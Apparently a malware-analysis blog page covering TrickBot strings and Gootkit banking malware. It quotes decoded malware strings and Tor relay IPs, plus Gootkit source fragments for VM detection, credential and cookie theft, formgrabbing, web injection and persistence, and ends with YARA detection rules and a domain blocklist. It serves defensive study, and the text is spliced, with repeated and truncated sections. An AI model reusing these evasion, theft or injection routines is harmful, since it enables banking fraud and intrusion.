9rfBbyW1Q6WwQ2wOrqwjTld5DyH5bIokbRvK9oHWml85DymR9unZtVskmIWwDIsdDCHxQ27q4VHBD6Y5QEUOa2m1DEdWtysE9rfHm2YxMVAk4TW1bE80DyHWb/AjDIWqGtvK9L85b6okDIfETE80bC8d4Uf1ByoxmIseM2sR9y40DlHW9rfLMVH0DIYjm/HxQVdxa249DUd0ml8WbyWWbRvK9oHxDEAd4UmjM27Ct67rQV8x4Vd54VzO4yokb6TZi/HxDEAd4UmjM27Ct67rQV8x4Vd54VzOrqYADIYjmx00by8T4VdXM270mITO4yokb6TZixokDIfEaIoe4o8Wby/5Dyox4tvK9oHxQVdxs60WDUo6Q2WkQ2dk4t7xbCsW9rftmIoemomn427Amyo5DIohDITOrqYam279DyY7a24N4V8EDEdcBV40M2Y0QyYW9y40DlHW9rfam279DyY7a24N4V8EDEdcBV40M2Y0QyYW9unZa28k4sHWml85DymR9unZTE8jbLf1a28k4Ts14P7xbCsW9rftmIfwt67d4IYW827U9unZTysRmIoemLf1a28k4t7yQ2YR4twjTysRmIoemLf1a28k4tvK9rfd4IYWT6sxmIW14EzOrqYADIYjm/HxQVdxt67L42/0DyBOmld/4twjB2YkDEmtmIoemLf18IsXQ27U9unZ8270QyYW4P7xbCsW9rfoDyohDIsU9unZaIWU4Is19C8em2TZix054I8WDqvK9od/DUf1DlWd4UWUDITO4yokb6TZi/d/DUf1DlWd4UWUDITOrqYVQ2XWsIfam2vO4yokb6TZi/m0M6sTD/d/DqvK9Lsv42H/mIWjDW85D2szM2/5mP7BsPAt9rfoGIsqmV85D67TM2/WtIWXMVBOrqYBbyWjbyWxGtvE9rfBbyWjbyWxGtvK9rft4V8xM27CbRvK9LoqmIWjDCzuB6f1mIsvmPxhBVsxMIfe3qvK9Lsv42zOrqYPD6/XQ27U9u 9rftmIoemLdjm27UQVd79unZ8270QyYW4P7xbCsW9rfoDyohDIsU9unZT6Hn428/DIsrGT80GtvK9L80GVHdDC8WbC40DPvY9rfLQVWRa27x4Vd6Q2wOrqwjT6Hn428/DIsrGT80GtvK9rfPQ2YWDy80bW8eM2mC4V3Orqwjsld546mWbCzOrqYBbyW1Q6WwQ2YR9unZTld5DyH5bIok3IWU9adAmV8nDE3h9un 9LH0DIs14Ioesld546mWbqvK9odWbIsxMV85D6vOrqYdDC8WbC40DP7BsPLwttwja27x4Vd6Q2wOrqYLmVd0mIWjDq7BzTBZix8/byoxM2f19unZTE8jbLox8lseQV85D67oDyBO4yokb6TZi/HxDEAAmL8/byoxM2f1827U9unZi/dWbIsxMV85D6vOrqYtmIoemLdjm27UQVd79u 9PfvD2wumyseb6WjDqxhzavw3hAWDyHj4IW14Rxhss8IitL63qZOrqYTQVHc3l4WbCH5D6vf3qL1zh3KGI/kDCzf3y0xml+FiefRQ60WD2oRiy/5QEdjb6fymr7qD6xjm6W14IfEbeZezP+xiR+ei6/5mrfxQVHc3qvK9odW46WRmld0mIWjDUW14yZOrqY24VdRM2f19qL1zrvY9rf24VdRM2f19unZ8IsRQEd5bl85D6vOtVzuTEWRmIsX3lm0mIHn4V3Zix8Wb6HeMVAxM2f19unZssdd9qwjssdd9unZi/dW46WRmld0mIWjDUW14yZOrqYTbyWC46sebRvK T/WtsLsH dVzub/80bCB 4EdjmVApmIoC TUst mVHWbu Q6f14yWCiyHjDyQ iC8Xb+ mI/w bEAc dVzudVz TxWNau Dyfx3IY5bE8W4+ DIWRmIsU 8L7tBUw Q6Y5427x3IWR3I7jmrAh4205DyButUoT Q6Y5427x3IWR3IdWMIW14rANBsB 4yo5DIsU'
key = '+ArPLoIl3dKizHN9B8atTs2VQ4MDbmGpu0hqUWyCn5gckX1jwYeRx/6Ev7FSZfOJ'
std_b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

for s in data.split(' '):
s = s.translate(str.maketrans(key,std_b64))
if len(s)%4 != 0:
s += '='*(4 - len(s)%4)
print(base64.b64decode(s))

The output is as follows:

b'UnloadUserProfile'
b'LoadUserProfileW'
b'DestroyEnvironmentBlock'
b'CreateEnvironmentBlock'
b'USERENV.dll'
b'GetAdaptersInfo'
b'IPHLPAPI.dll'
b'NtQueryInformationProcess'
b'ntdll.dll'
b'PathFindExtensionW'
b'PathRemoveFileSpecW'
b'PathRemoveBackslashW'
b'StrStrIW'
b'PathRenameExtensionW'
b'PathAddBackslashW'
b'PathFindFileNameW'
b'SHLWAPI.dll'
b'CryptBinaryToStringW'
b'CryptStringToBinaryW'
b'CRYPT32.dll'
b'CoUninitialize'
b'CoCreateInstance'
b'ole32.dll'
b'SetSecurityDescriptorDacl'
b'InitializeSecurityDescriptor'
b'CopySid'
b'GetLengthSid'
b'SetEntriesInAclW'
b'GetSecurityInfo'
b'SetSecurityInfo'
b'SetNamedSecurityInfoW'
b'RegSetValueExW'
b'RegOpenKeyExW'
b'RegCloseKey'
b'RegCreateKeyExW'
b'RevertToSelf'
b'AdjustTokenPrivileges'
b'LookupPrivilegeValueW'
b'CryptGetHashParam'
b'CryptAcquireContextW'
b'CryptSetKeyParam'
b'CryptReleaseContext'
b'ConvertStringSecurityDescriptorToSecurityDescriptorW'
b'CryptImportKey'
b'CryptCreateHash'
b'CryptDecrypt'
b'CryptDestroyHash'
b'CryptHashData'
b'CryptDestroyKey'
b'AllocateAndInitializeSid'
b'FreeSid'
b'OpenProcessToken'
b'EqualSid'
b'CreateProcessAsUserW'
b'DuplicateTokenEx'
b'LookupAccountSidW'
b'GetTokenInformation'
b'GetUserNameW'
b'ADVAPI32.dll'
b'CreateToolhelp32Snapshot'
b'Process32NextW'
b'Process32FirstW'
b'MultiByteToWideChar'
b'WideCharToMultiByte'
b'GetModuleHandleA'
b'QueryPerformanceCounter'
b'GetCurrentThreadId'
b'SetUnhandledExceptionFilter'
b'UnhandledExceptionFilter'
b'lstrlenA'
b'GetCurrentProcessId'
b'GetSystemTimeAsFileTime'
b'GetCurrentProcess'
b'GetVersionExW'
b'GetVersion'
b'SetFilePointer'
b'WriteFile'
b'ReadFile'
b'CreateFileW'
b'lstrcmpiW'
b'GetTempFileNameW'
b'CreateProcessW'
b'MoveFileExW'
b'GetTickCount'
b'InitializeCriticalSectionAndSpinCount'
b'Sleep'
b'GetFileAttributesW'
b'GetModuleFileNameW'
b'GetStartupInfoW'
b'GetTempPathW'
b'MoveFileW'
b'SetCurrentDirectoryW'
b'DeleteFileW'
b'lstrcpyW'
b'LocalFree'
b'CreateMutexW'
b'ResumeThread'
b'WriteProcessMemory'
b'DuplicateHandle'
b'CreateEventW'
b'GetExitCodeThread'
b'VirtualAllocEx'
b'VirtualProtectEx'
b'TerminateProcess'
b'ReadProcessMemory'
b'VirtualFreeEx'
b'OpenProcess'
b'CreateRemoteThread'
b'SetEvent'
b'CreateDirectoryW'
b'SetFileAttributesW'
b'lstrcmpA'
b'LoadLibraryA'
b'GetFileTime'
b'FindNextFileW'
b'GetSystemInfo'
b'LockResource'
b'FindClose'
b'GetLastError'
b'lstrcpynW'
b'SetFileTime'
b'GetModuleHandleW'
b'LoadResource'
b'FreeLibrary'
b'FindResourceW'
b'FindFirstFileW'
b'GetFullPathNameW'
b'lstrlenW'
b'lstrcmpW'
b'GetComputerNameW'
b'CreateThread'
b'/?format=text'
b'www.myexternalip.com'
b'ident.me'
b'api.ip.sb'
b'\\iocopy'
b'WantRelease'
b'fifty'
b'cmd.exe'
b'185.41.154.130:9001'
b'37.252.190.176:443'
b'82.118.17.235:443'
b'83.163.164.15:9003'
b'69.163.34.173:443'
b'159.89.151.231:9001'
b'212.47.246.229:9003'
b'84.40.112.70:9001'
b'2.137.16.245:9001'
b'199.249.223.62:443'
b'185.22.172.237:443'
b'88.99.216.194:9001'
b'185.13.39.197:443'
b'162.247.72.201:443'
b'174.127.217.73:55554'
b'Content-Length: '
b'\r\n\r\n'
b'%s %S HTTP/1.1\r\nHost: %s%s%S'
b'.onion'
b'info.dat'
b'README.md'
b'FAQ'
b'DEBG'
b'MACHINE\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Paths'
b'MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths'
b'MACHINE\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths'
b'WinDefend'
b'Global\\%08lX%04lX%lu'
b' working'
b'path'
b'ver.txt'
b'ModuleQuery'
b'LeaveCriticalSection'
b'EnterCriticalSection'
b'InitializeCriticalSection'
b'VERS'
b'SignatureLength'
b'ECCPUBLICBLOB'
b'ECDSA_P384'
b'spam.dnsbl.sorbs.net'
b'dnsbl-1.uceprotect.net'
b'b.barracudacentral.org'
b'cbl.abuseat.org'
b'zen.spamhaus.org'
b'GetNativeSystemInfo'
b'Module is not valid'
b'client_id'
b'1041'
b'/plain/clientip'
b'/text'
b'/raw'
b'/ip'
b'/plain'
b'ip.anysrc.net'
b'wtfismyip.com'
b'myexternalip.com'
b'icanhazip.com'
b'api.ipify.org'
b'ipinfo.io'
b'ipecho.net'
b'checkip.amazonaws.com'
b'ssert'
b'D:(A;;GA;;;WD)(A;;GA;;;BA)(A;;GA;;;SY)(A;;GA;;;RC)'
b'Global\\Muta'
b'--%s--\r\n\r\n'
b'--%s\r\nContent-Disposition: form-data; name="%S"\r\n\r\n'
b'Content-Type: multipart/form-data; boundary=%s\r\nContent-Length: %d\r\n\r\n'
b'------Boundary%08X'
b'winsta0\\default'
b'WTSQueryUserToken'
b'WTSGetActiveConsoleSessionId'
b'WTSFreeMemory'
b'WTSEnumerateSessionsA'
b'wtsapi32'
b'GetProcAddress'
b'LoadLibraryW'
b'ExitProcess'
b'ResetEvent'
b'CloseHandle'
b'WaitForSingleObject'
b'SignalObjectAndWait'
b'svchost.exe'
b'Release'
b'FreeBuffer'
b'Control'
b'Start'
b'Load to M failed'
b'Run D failed'
b'Load to P failed'
b'Find P failed'
b'Create ZP failed'
b'Module has already been loaded'
b'parentfiles'
b'ip'
b'id'
b'period'
b'file'
b'conf'
b'arg'
b'control'
b'needinfo'
b'autocontrol'
b'autoconf'
b'processname'
b'sys'
b'yes'
b'autostart'
b'*'
b'%s%s'
b'%s%s_configs\\'
b'Modules\\'
b'HeapReAlloc'
b'HeapFree'
b'GetProcessHeap'
b'HeapAlloc'
b'kernel32.dll'
b'0.0.0.0'
b'POST'
b'GET'
b'UrlEscapeW'
b'shlwapi'
b'BCryptDestroyKey'
b'BCryptCloseAlgorithmProvider'
b'BCryptVerifySignature'
b'BCryptGetProperty'
b'BCryptImportKeyPair'
b'BCryptOpenAlgorithmProvider'
b'NCryptFreeObject'
b'NCryptDeleteKey'
b'NCryptImportKey'
b'NCryptOpenStorageProvider'
b'Bcrypt.dll'
b'Ncrypt.dll'
b'%s %s SP%d'
b'x86'
b'x64'
b'Unknown'
b'Windows 2000'
b'Windows XP'
b'Windows Server 2003'
b'Windows Vista'
b'Windows Server 2008'
b'Windows 7'
b'Windows Server 2008 R2'
b'Windows 8'
b'Windows Server 2012'
b'Windows 8.1'
b'Windows Server 2012 R2'
b'Windows 10'
b'Windows 10 Server'
b'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'
b'psrv'
b'plugins'
b'expir'
b'servconf'
b'%d%d%d.'
b'Module already unloaded'
b'Control failed'
b'Module was unloaded'
b'Process has been finished'
b'release'
b'Start failed'
b'Process was unloaded'
b'GetParentInfo error'
b'Unable to load module from server'
b'start'
b'Decode from BASE64 error'
b'Win32 error'
b'Invalid params count'
b'No params'
b'info'
b'data'
b'%s/%s/64/%s/%s/%s/'
b'noname'
b'%s/%s/63/%s/%s/%s/%s/'
b'/%s/%s/25/%s/'
b'/%s/%s/23/%d/'
b'/%s/%s/14/%s/%s/0/'
b'/%s/%s/10/%s/%s/%d/'
b'/%s/%s/5/%s/'
b'/%s/%s/1/%s/'
b'/%s/%s/0/%s/%s/%s/%s/%s/'
b'srv'
b'ctl'
b'name'
b'module'
b'MsSystemWatcher'
b'%s.%s.%s.%s'
b'%s.%s'
b'%Y-%m-%dT%H:%M:%S'
b''
b''
b'InteractiveToken\nLeastPrivilege'
b'HighestAvailable\nNT AUTHORITY\\SYSTEM\nInteractiveToken\n'
b'\n'
b'\ntrue\n'
b'\n\n\n\n'
b'\n\n\nIgnoreNew\nfalse\nfalse\nfalse\ntrue\nfalse\n\ntrue\nfalse\n\ntrue\ntrue\ntrue\nfalse\nfalse\nPT0S\n7\n\n\n\n'
b'\ntrue\n\n1\n\n\n\n\n\n'
b'\n\nPT10M\nP1D\nfalse\n\n'
b'\n<Task version="1.2"\nxmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">\n\n1.0.1\nMs System watcher\n\n\n\n'
b'SYSTEM'
b'%s sTart'
b'group_tag'
b'RES'
b'user'
b'config.conf'
b'.tmp'
b'tmp'
b'spk'
b'%s %s'
b'SINJ'
b'not listed'
b'listed'
b'DNSBL'
b'client is not behind NAT'
b'client is behind NAT'
b'failed'

Analysis of Latest TrickBot Core Possible Build ‘1041’
A. Hardcoded Tor Relay List

b'185.41.154.130:9001'
b'37.252.190.176:443'
b'82.118.17.235:443'
b'83.163.164.15:9003'
b'69.163.34.173:443'
b'159.89.151.231:9001'
b'212.47.246.229:9003'
b'84.40.112.70:9001'
b'2.137.16.245:9001'
b'199.249.223.62:443'
b'185.22.172.237:443'
b'88.99.216.194:9001'
b'185.13.39.197:443'
b'162.247.72.201:443'
b'174.127.217.73:55554'

B. External IP Resolution

b'www.myexternalip.com'
b'ident.me'
b'api.ip.sb'
b'ip.anysrc.net'
b'wtfismyip.com'
b'myexternalip.com'
b'icanhazip.com'
b'api.ipify.org'
b'ipinfo.io'
b'ipecho.net'
b'checkip.amazonaws.com'

C. Task Scheduler XML Struct

b''
b''
b'InteractiveToken\nLeastPrivilege'
b'HighestAvailable\nNT AUTHORITY\\SYSTEM\nInteractiveToken\n'
b'\n'
b'\ntrue\n'
b'\n\n\n\n'
b'\n\n\nIgnoreNew\nfalse\nfalse\nfalse\ntrue\nfalse\n\ntrue\nfalse\n\ntrue\ntrue\ntrue\nfalse\nfalse\nPT0S\n7\n\n\n\n'
b'\ntrue\n\n1\n\n\n\n\n\n'
b'\n\nPT10M\nP1D\nfalse\n\n'
b'\n<Task version="1.2"\nxmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">\n\n1.0.1\nMs System watcher\n\n\n\n'

D. Bot IP Check for Spam Blocklist

b'spam.dnsbl.sorbs.net'
b'dnsbl-1.uceprotect.net'
b'b.barracudacentral.org'
b'cbl.abuseat.org'
b'zen.spamhaus.org'

Let’s Learn: In-Depth Dive into Gootkit Banker Version 4 Malware Analysis

Goal: Analyze and reverse the Gootkit banking malware version 4 in depth.
Background: While reviewing several latest malware spam campaigns reported by multiplier researchers ranging from abusing legitimate email content services such as Mailchimp and Mailgun as reported by Derek Knight, I took a deeper into into malware analysis of the campaigns authored by the Gootkit cybercrime gang.

https://platform.twitter.com/widgets.js
Outline: 

I. Analysis
II. Malware Drop Sequence
III. Module Overview
IV. Registry Persistence
V. Yara: Main & Password Grabber Module 
VI. Domain Blocklist
VII. Appendix

I. Overview of Gootkit Banking Malware 
Gootkit is a modularized multi-functional Windows banking malware. The malware contains a rich functionality from webinject and Local Security Authority (LSA) grabber to Video Recorder and Mail Parser ones. Not only the gang is resourceful leveraging Node.js as the de-facto format for its functionality, they also borrow a lot of ideas from other malware variants. For example, in its “zeusfunctions,” the gang implements ZeuS-style URL mask parsing and matching visited websites; the gang also has a module called “grabPasswordsPony” meant to assist with credential recovery from compromised machines. Some of the malware oddities are its ability it various references to itself as “Gootkit” and their control domains mimicking fake “SSL” websites. The malware also contains their own Password Grabber “grabber.dll”

fs.writeFileSync(
tmpDirectory + "\\descr.txt",
"Uploaded by Gootkit :D",
"botid : ",
process.machineGuid,
"Date : ",
new Date().toUTCString(),
"Original filenames : ",
filenames.join("\r\n")

II. Malware drop sequence:
Main dropper (MD5: ba0f798acc31ff6984af91f235f5fac4) 
-> Node.js main loader binary (MD5: ba0f798acc31ff6984af91f235f5fac4)
-> “GrabPasswords” module (MD5: 1654b553a500ecf2f196216be458da05)
Export function: “GrabPasswords”

The decoded server configuration was as follows:

safenetssl[.]com|safenetssl[.]com|securesslweb[.]com

The main component is an exe code packaged via Node JavaScript bundle. The malware checks for the patterns “-test” and “-vwxyz.” 

A. Obfuscation
Main dropper is loaded in obfuscated form with strings encoded with XOR with round key. 
For example,

 for ( k = 0; k < sizeof(array_encoded); ++k )
_byteorder_func(&v264, k, *(&last_array_element + k % 5) ^ *(&first_array_elem + k));

To generate and decode the bot also leverages Mersenne Twister, a pseudorandom number generator (PRNG). 
B. The dropper creates a mutex thread “ServiceEntryPointThread
C. Anti-Analysis “vmx_detection”

The malware checks environment variable “crackmelolo” with series of checks and alters if its execution if not founds. Kaspersky Labs previous reported on “crackme.” Gootkit calls the anti-analysis routine as “vmx_detection.”
The key main function of “IsVirtualMachine” are as follows:

  • VmCheckGetDisksArray
  • VmCheckVitrualDisks
  • VmIsVirtualCPUPresent
  • IsVirtualMachine
unction IsVirtualMachine() {
//print('IsVirtualMachine >>> ');
var bIsVirtualMachine = false;
try{
var VMBioses = [
"AMI ",
"BOCHS",
"VBOX",
"QEMU",
"SMCI",
"INTEL - 6040000",
"FTNT-1",
"SONI"
];
var SystemBiosVersion =
(new reg.WindowsRegistry(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", KEY_READ, true)
.ReadString("SystemBiosVersion") || "hui").toString();
for (let i = 0; i < VMBioses.length; i++) {
if (SystemBiosVersion.toLowerCase().indexOf(VMBioses[i].toLowerCase()) !== -1) {
bIsVirtualMachine = true;
break;
}
}
var ideDev
ices = VmCheckGetDisksArray('SYSTEM\\CurrentControlSet\\Enum\\IDE');
var scsiDevices = VmCheckGetDisksArray('SYSTEM\\CurrentControlSet\\Enum\\SCSI');
if (bIsVirtualMachine === false) {
bIsVirtualMachine = (
VmCheckVitrualDisks(ideDevices.keys) ||
VmCheckVitrualDisks(scsiDevices.keys)
);
}
if (bIsVirtualMachine === false) {
bIsVirtualMachine = VmIsVirtualCPUPresent();
}
} catch (exc) {
}
return bIsVirtualMachine;

III. Modules and Functionality Overview
Gootkit is extremely rich containing various functions and modules:

  • API Hooker
  • Take Screenshot
  • Get Process List
  • Get Local Network Neighborhood
  • Get Local Users and Groups
  • LSA Grabber Credential
  • Browser Stealer
  • Cookie Grabber
  • Virtual Network Computing (VNC) Remote Controller
  • Keylogger
  • Formgrabber
  • HTTP/HTTPS Webinjector / Redirector
  • Video Recorder
  • Mail Parser
  • Proxy
const P_SPYWARE = 4;
process.PORT_REDIRECTION_BASE = PORT_REDIRECTION_BASE;
exports.SpInitialize = gootkit_spyware.SpInitialize;
exports.SpHookRecv = gootkit_spyware.SpHookRecv;
exports.SpHookSend = gootkit_spyware.SpHookSend;
exports.SpUnhookHttp = gootkit_spyware.SpUnhookHttp;
exports.SpTakeScreenshot = gootkit_spyware.SpTakeScreenshot;
exports.SpGetProcessList = gootkit_spyware.SpGetProcessList;
exports.SpGetLocalNetworkNeighborhood = gootkit_spyware.SpGetLocalNetworkNeighborhood;
exports.SpGetLocalUsersAndGroups = gootkit_spyware.SpGetLocalUsersAndGroups;
exports.SpLsaGrabCredentials = gootkit_spyware.SpLsaGrabCredentials;
exports.DbgGetModuleDebugInformation = gootkit_spyware.DbgGetModuleDebugInformation;
exports.DbgGetLoadedModulesList = gootkit_spyware.DbgGetLoadedModulesList;
exports.DnsCacheGetDomainByAddr = gootkit_spyware.DnsCacheGetDomainByAddr;
exports.downloadFileRight = gootkit_spyware.DownloadFileRight;
exports.SpAddPortRedirection = gootkit_spyware.SpAddPortRedirection;
exports.SpGetVendor = gootkit_spyware.SpGetVendor;
exports.SpGetFileWatermark = gootkit_spyware.SpGetFileWatermark;
exports.SpSetFileWatermark = gootkit_spyware.SpSetFileWatermark;
exports.ExLoadVncDllSpecifyBuffers = gootkit_spyware.ExLoadVncDllSpecifyBuffers;
exports.ModExecuteDll32 = gootkit_spyware.ModExecuteDll32;
module.exports.collectCromePasswords = collectCromePasswords;
module.exports.collectFirefoxPasswords = collectFirefoxPasswords;
module.exports.collectWindowsPasswords = collectWindowsPasswords;
module.exports.collectIeCookies = collectIeCookies;
module.exports.collectChromiumCookies = collectChromiumCookies;
module.exports.collectFireFoxCookies = collectFireFoxCookies;
module.exports.collectChromePackedProfile = collectChromePackedProfile;
module.exports.sendCookiesToStore = sendCookiesToStore;
module.exports.grabPasswordsPony = grabPasswordsPony;

V. The bot and spyware message
The bot harvester message is as follows:

message Bot {
    optional string processName = 1;
    optional string guid = 2;
    optional string vendor = 3;
    optional string os = 4;
    optional string ie = 5;
    optional string ver = 6;
    optional int32  uptime = 7;
    optional int32  upspeed = 8;
    optional string internalAddress = 9;
    optional string HomePath = 10;
    optional string ComputerName = 11;
    optional string SystemDrive = 12;
    optional string SystemRoot = 13;
    optional string UserDomain = 14;
    optional string UserName = 15;
    optional string UserProfile = 16;
    optional string LogonServer = 17;
    optional int64  freemem = 18;
    optional int64  totalmem = 19;
    optional NetworkInterfaces networkInterfaces = 20;
    optional string tmpdir = 21;
    repeated Processor cpus = 22;
    optional string hostname = 23;
    optional bool IsVirtualMachine = 24;
}

The bot settings are:

message BotSettings {
    optional int32 fgMaxDataSize = 1   [default = 65000];
    optional int32 fgMinDataSize = 2   [default = 0];
    optional bool fgCaptureGet = 3   [default = false];
    optional bool fgCapturePost = 4   [default = true];
    optional bool fgCaptureCookies = 5[default = false];
    repeated string fgBlackList = 6;
    repeated string fgWhiteList = 7;
    optional int32 netCcTimeout = 8    [default = 300000];
optional bool kgIsKeyloggerEnabled = 9[default = false];
}

The bot tasks message looks as follows:

message Tasks {
    message Settings {
        optional int32  pingTime = 1;
    }
    optional Settings  settings = 1;
    optional bytes     slch = 2;
    optional bytes     rbody32_hash = 3;
    optional bytes     rbody64_hash = 4;
    optional bytes     defaultjs_hash = 5;
}

The “spyware” config is as follows:

message SpywareConfig {
    repeated SpywareConfigEntry injects = 1;
    repeated VideoConfigEntry recorders = 2;
    repeated FragmentConfigEntry fragments = 3;
    repeated MailFilterEntry emailfilter = 4;
    repeated RedirectionEntry redirects = 5;
    repeated PostParamsRecorderEntry post2macros = 6;
    optional BotSettings settings = 7;
if(os.release().split('.')[0] === '5'){

process.g_malwareBodyRegistryPath = "SOFTWARE";

}else{

process.g_malwareBodyRegistryPath = "SOFTWARE\\AppDataLow";
process.g_malwareRegistryPath = "SOFTWARE\\cxsw";
process.g_malwareRegistryHive = HKEY_CURRENT_USER;
process.g_SpDefaultKey = "{da14b39e-535a-4b08-9d68-ba6d14fed630}";
process.g_SpPrivateKey = "{bed00948-29e2-4960-8f98-4bcd7c6b00a5}";

VI. Formgrabber

    process.formgrabber.options  = {

http : {
            grubGet : false,
grubPost : true

},

https : {
grubGet : true,
grubPost : true
}
}

var restrictedHosts = [

'www.google-analytics.com',
'counter.rambler.ru',
'rs.mail.ru',
'suggest.yandex.ru',
'clck.yandex.ru',
'plus.google.com',
'plus.googleapis.com',
's.youtube.com',
'urs.microsoft.com',
'safebrowsing-cache.google.com',
'safebrowsing.google.com',
'www.youtube.com'

var restrictedExtensions = [

'.png', '.jpg', '.jpeg', '.gif', '.bmp',
'.pcx', '.tiff', '.js', '.css', '.swf',
'.avi', '.mpg', '.aac', '.mp3', '.mov',
'.jar', '.cnt', '.scn', '.ico'

var restrictedSubstrings = [

'safebrowsing',
'.metric.gstatic.com',
'/complete/search'

process.formgrabber = {
    restrictedExtensions: restrictedExtensions,
restrictedHosts: restrictedHosts,
restrictedSubstrings: restrictedSubstrings,

dSubstrings: restrictedSubstrings,
options: {
http: {
grubGet: false,
grubPost: false
},
https: {

grubGet: false,
grubPost: false
}
}
exports.formgrabber = process.formgrabber;

IX. HTTP/HTTPS Webinjector

//------------------------------------------------

// -- http/https injects

//------------------------------------------------

function isInternalApiRequest(requestDesc){

if(requestDesc.location.indexOf('spinternalcall') !== -1){
return true;

}
return false;

function IsLocationLocked(location){

//trace("IsLocationLocked : '%s'", location);
if(!process.proxyServers){
return false;

}

if(!process.proxyServers.blockedAddresses){
return false;

}

for(let i = 0; i < process.proxyServers.blockedAddresses.length; i ++){
if (zeusfunctions.zeusSearchContentIndex(location,
process.proxyServers.blockedAddresses[i])

){
return true;
}

}

return false;

function ReqProcessFakes(clientRequest){

if(!clientRequest.headers['host']){
return false;

}
var host = clientRequest.headers['host'].split(':')[0];

if(process.proxyServers.fakes[host]){
clientRequest.fakeHost =
process.proxyServers.fakes[host];

return true;

}

return false;

function manageUserConnection(clientRequest, clientResponse, isSsl) {

clientRequest.isSSL = isSsl;
clientRequest.desc = createUrlDescriptionFromRequestObject(clientRequest);
clientRequest.id = getid();
if(isInternalApiRequest(clientRequest.desc)){
return require('internalapi').serve(clientRequest,

clientResponse);

}

if(IsLocationLocked(clientRequest.desc.location) === true){

return /*clientResponse.end();*/

/*

emulate browser

time-out error for now

*/

}

ReqProcessRedirects(clientRequest);
ReqProcessFakes(clientRequest);
http_injection_stream.IsContentModificationNeeded(clientRequest, function (bIsContentBufferingNeeded) {

let func = http_injection_stream.ThrottleRequestToBrowserDirect;

if(bIsContentBufferingNeeded){
func = http_injection_stream.ThrottleRequestToBrowserInjected;
}
func(clientRequest, clientResponse);
});


Web Redirection Code:

function ReqProcessRedirects(clientRequest){

let id = clientRequest.id;
/*

clientRequest.isRedirectionRuleTriggered - boolean
"redirects": [
{
"name": "yandex test",
"uri": "hxxps://yastatic[.]net",
"keyword": "wfjwe892njf902n3f",
"uripassword": "",
"datapassword": ""
}
]
hxxps://mail[.]ru/wfjwe892njf902n3f/share/cnt[.]share[.]js -> hxxps://yastatic[.]net/share/cnt[.]share[.]js

*/
if (util.isUndefined(clientRequest)) {
return false;
}
if (util.isUndefined(clientRequest.desc)) {
return false;
}
var murl = clientRequest.desc.location;
var method = clientRequest.desc.method.toUpperCase();
var bRedirectTriggered = false;
if (method !== 'GET' && method !== 'POST') {
rlog('ReqProcessRedirects', id, 'invalid method', method);
return false;
}

IV. Persistence settings in HKEY_CURRENT_USER:

if(os.release().split('.')[0] === '5'){

process.g_malwareBodyRegistryPath = "SOFTWARE";

}else{

process.g_malwareBodyRegistryPath = "SOFTWARE\\AppDataLow";
process.g_malwareRegistryPath = "SOFTWARE\\cxsw";
process.g_malwareRegistryHive = HKEY_CURRENT_USER;
process.g_SpDefaultKey = "{da14b39e-535a-4b08-9d68-ba6d14fed630}";
process.g_SpPrivateKey = "{bed00948-29e2-4960-8f98-4bcd7c6b00a5}";

V. Yara Rule:

rule crime_win32_gootkit_main_bin {

meta:

description = “Gootkit banking malware dropper binary”
author = “@VK_Intel”
reference = “Detects Gootkit main dropper”
date = “2018-04-10”
hash = “360744e8b41e903b59c37e4466af84b7defe404ec509eca828c9ecdfe878d74a”

strings:

$s0 = “\\SystemRoot\\system32\\mstsc.exe” fullword wide
$s1 = “RunPreSetupCommands = %s:2” fullword wide
$s2 = “AdvancedINF = 2.5, \”You need a new version of advpack.dll\”” fullword wide
$s3 = “/c ping localhost -n 4 & del /F /Q \”” fullword wide
$s4 = “” fullword ascii
$s7 = “.update\” \”” fullword wide
$s11 = “& move /Y \”” fullword wide
$s16 = “.update” fullword wide
$s19 = “signature = \”$CHICAGO$\”” fullword wide

condition:

uint16(0) == 0x5a4d and filesize < 474KB and all of them
}

rule crime_win32_gootkit_grab_password_module {

meta:
description = “Gootkit grabber.dll module”
author = “@VK_Intel”
reference = “Detects Gootkit Password Grabber Module”
date = “2018-04-13”
hash = “f523da4e7a54aa14f37b513097c1ac8e035365f9ab5a34a610b05572d61a5558”
strings:
$s0 = “grabber.dll” fullword wide
$s1 = “GrabPasswords” fullword wide
$s2 = “\”encryptedPassword\”:\”” fullword ascii
$s3 = “Pstorec.dll” fullword wide
$s4 = “fireFTPsites.dat” fullword wide
$s5 = “inetcomm server passwords” fullword wide
$s6 = “\”login\”:\”” fullword ascii
$s7 = “D:\\Account.CFN” fullword wide
$s8 = “outlook account manager passwords” fullword wide
$s9 = “SMTP_Password2” fullword wide

condition:

uint16(0) == 0x5a4d and filesize < 723KB and all of them
}

VI. Gootkit Domain Blocklist:
safenetssl[.]com
securesslweb[.]com
netsecuressl[.]com
securesslservice[.]com
secsslnetwork[.]com
sslnetsecurity[.]com

VII. Gootkit Appendix:

A. Global Certificate  
